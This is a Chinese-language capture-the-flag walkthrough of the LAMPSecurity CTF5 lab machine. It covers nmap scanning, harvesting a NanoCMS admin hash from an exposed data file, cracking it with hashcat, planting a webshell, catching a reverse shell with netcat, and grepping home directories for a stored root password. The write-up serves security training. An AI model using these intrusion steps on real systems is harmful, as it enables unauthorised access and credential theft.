18-LAMPSecurityCTF5

目标：10.30.13.223

###端口

```
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
901/tcp   open  samba-swat
3306/tcp  open  mysql
53443/tcp open  unknown
MAC Address: 00:0C:29:5D:3A:AC (VMware)
```

###服务系统识别

```
nmap -sT -sV -O -p22,25,80,110,111,139,143,445,901,3306,53443 $IP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-09 03:11 GMT
Nmap scan report for 10.30.13.233
Host is up (0.00072s latency).

PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 4.7 (protocol 2.0)
25/tcp    open  smtp        Sendmail 8.14.1/8.14.1
80/tcp    open  http        Apache httpd 2.2.6 ((Fedora))
110/tcp   open  pop3        ipop3d 2006k.101
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MYGROUP)
143/tcp   open  imap        University of Washington IMAP imapd 2006k.396 (time zone:
-0500)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: MYGROUP)
901/tcp   open  http        Samba SWAT administration server
3306/tcp  open  mysql       MySQL 5.0.45
53443/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:5D:3A:AC (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
```

```
and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop
Service Info: Hosts: localhost.localdomain, 10.30.13.233; OS: Unix
```

###漏扫信息

```
# nmap --script=vuln $IP -p22,25,80,110,111,139,143,445,901,3306,53443
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-09 03:29 GMT
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.30.13.233
Host is up (0.00036s latency).

PORT      STATE  SERVICE
22/tcp    open   ssh
25/tcp    open   smtp
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
80/tcp    open   http
| http-fileupload-exploiter:
|
|_    Couldn't find a file-type field.
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and
hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
```

```
|_      http://ha.ckers.org/slowloris/
| http-sql-injection:
|   Possible sqli for queries:
|     http://10.30.13.233:80/?page=contact%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=about%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=contact%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=about%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=contact%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=about%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=contact%27%20OR%20sqlspider
|     http://10.30.13.233:80/?page=about%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Ffeed%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Ffeed%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
|     http://10.30.13.233:80/events/?q=event%2Ffeed%27%20OR%20sqlspider
|_    http://10.30.13.233:80/events/?q=event%2Fical%27%20OR%20sqlspider
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.30.13.233
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://10.30.13.233:80/?page=contact
|     Form id:
|     Form action: ?page=contact
|
|     Path: http://10.30.13.233:80/events/
|     Form id: user-login-form
|     Form action: /events/?q=node&destination=node
|
|     Path: http://10.30.13.233:80/events/?q=node/3
|     Form id: user-login-form
|     Form action: /events/?q=node/3&destination=node%2F3
|
|     Path: http://10.30.13.233:80/events/?q=comment/reply/2
|     Form id: comment-form
|     Form action: /events/?q=comment/reply/2
```

```
|
|     Path: http://10.30.13.233:80/events/?q=comment/reply/2
|     Form id: user-login-form
|     Form action: /events/?q=comment/reply/2&destination=comment%2Freply%2F2
|
|     Path: http://10.30.13.233:80/events/?q=event/2024/03/09/month
|     Form id: event-taxonomy-filter-form
|     Form action: /events/?q=event/2024/03/09/month
|
|     Path: http://10.30.13.233:80/events/?q=event/2024/03/09/month
|     Form id: event-type-filter-form
|     Form action: /events/?q=event/2024/03/09/month
|
|     Path: http://10.30.13.233:80/events/?q=event/2024/03/09/month
|     Form id: user-login-form
|     Form action: /events/?
q=event/2024/03/09/month&destination=event%2F2024%2F03%2F09%2Fmonth
|
|     Path: http://10.30.13.233:80/events/?q=comment/reply/3
|     Form id: comment-form
|     Form action: /events/?q=comment/reply/3
|
|     Path: http://10.30.13.233:80/events/?q=comment/reply/3
|     Form id: user-login-form
|     Form action: /events/?q=comment/reply/3&destination=comment%2Freply%2F3
|
|     Path: http://10.30.13.233:80/events/?q=user/register
|     Form id: user-register
|     Form action: /events/?q=user/register
|
|     Path: http://10.30.13.233:80/events/?q=event/2024/02/01/month/all/all/1
|     Form id: event-taxonomy-filter-form
|     Form action: /events/?q=event/2024/02/01/month/all/all/1
|
|     Path: http://10.30.13.233:80/events/?q=event/2024/02/01/month/all/all/1
|     Form id: event-type-filter-form
|     Form action: /events/?q=event/2024/02/01/month/all/all/1
|
|     Path: http://10.30.13.233:80/events/?q=event/2024/02/01/month/all/all/1
|     Form id: user-login-form
|     Form action: /events/?
q=event/2024/02/01/month/all/all/1&destination=event%2F2024%2F02%2F01%2Fmonth%2Fall%2F
all%2F1
```

```
|
|     Path: http://10.30.13.233:80/events/?q=node/1
|     Form id: user-login-form
|     Form action: /events/?q=node/1&destination=node%2F1
|
|     Path: http://10.30.13.233:80/events/?q=event
|     Form id: event-taxonomy-filter-form
|     Form action: /events/?q=event
|
|     Path: http://10.30.13.233:80/events/?q=event
|     Form id: event-type-filter-form
|     Form action: /events/?q=event
|
|     Path: http://10.30.13.233:80/events/?q=event
|     Form id: user-login-form
|     Form action: /events/?q=event&destination=event
|
|     Path: http://10.30.13.233:80/events/?q=node&amp;destination=node
|     Form id: user-login-form
|_    Form action: /events/?q=node&destination=node%3Famp%253Bdestination%3Dnode
|_http-trace: TRACE is enabled
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-enum:
|   /info.php: Possible information file
|   /phpmyadmin/: phpMyAdmin
|   /squirrelmail/src/login.php: squirrelmail version 1.4.11-1.fc8
|   /squirrelmail/images/sm_logo.png: SquirrelMail
|   /icons/: Potentially interesting folder w/ directory listing
|_  /inc/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
110/tcp   open   pop3
111/tcp   open   rpcbind
139/tcp   open   netbios-ssn
143/tcp   open   imap
445/tcp   open   microsoft-ds
901/tcp   open   samba-swat
3306/tcp  open   mysql
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
53443/tcp closed unknown
MAC Address: 00:0C:29:5D:3A:AC (VMware)

Host script results:
```

```
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 187.29 seconds
```

有多个攻击点，先看web
###旗帜信息

```
Phake Organization
NanoCMS
http://10.30.13.233/~andy/



#可能的id
andy
```

###cms渗透

```
searchsploit NanoCMS
nanocms有一个命令执行漏洞，但要登录

另一个数据库泄露漏洞
payload：data/pagesdata.txt，拼接在博客路径即可
利用：
http://10.30.13.233/~andy/data/pagesdata.txt
返回：类似账号密码，尝试登录后台
admin";s:8:"password";s:32:"9d2f75377ac0ab991d40c91fd27e52fd";

破解哈希：
hash-identifier 9d2f75377ac0ab991d40c91fd27e52fd  #识别出MD5

hashcat -m 0 -a 0 9d2f75377ac0ab991d40c91fd27e52fd /usr/share/wordlists/rockyou.txt
破解出密码：shannon
```

###立足点

```
登录博客后台后，浏览网页功能，有多个地方可以更改网页代码，传上webshell的地方

1-更改网页标题插入webshell
![b919b47b428953faf827ce26f480bb6f.png]
(_resources/bf5304fde92a4d3e8be673e0efef6a0f.png)
2-nc -lvp 2233 监听
3-访问webshell页面
```

```
4-接收到反弹shell
sh-3.2$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh-3.2$ whoami
apache
```

###提权

```
查找系统遗留的密码文件时找到root密码
检索系统遗留文件
grep -R -i pass /home/* 2>/dev/null

/home/andy/public_html/data/admin-design/loginform.php:    <tr><td><?php
_lt('Password'); ?></td><td><input type='password' name='pass'></td></tr>
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:  <title>Root
password</title>
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:  <text
xml:space="preserve"><note-content version="0.1">Root password
/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note:Root password

查看感兴趣的文件：里面检索到密码信息
 cat /home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note
 文件信息：
Root password
50$cent</note-content></text>
```

##system

```
记得先稳定化shell，不然很多命令都无法使用
su -
50$cent

[root@localhost ~]# id
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=system_u:system_r:httpd_t:s0
[root@localhost ~]# whoami
whoami
root
```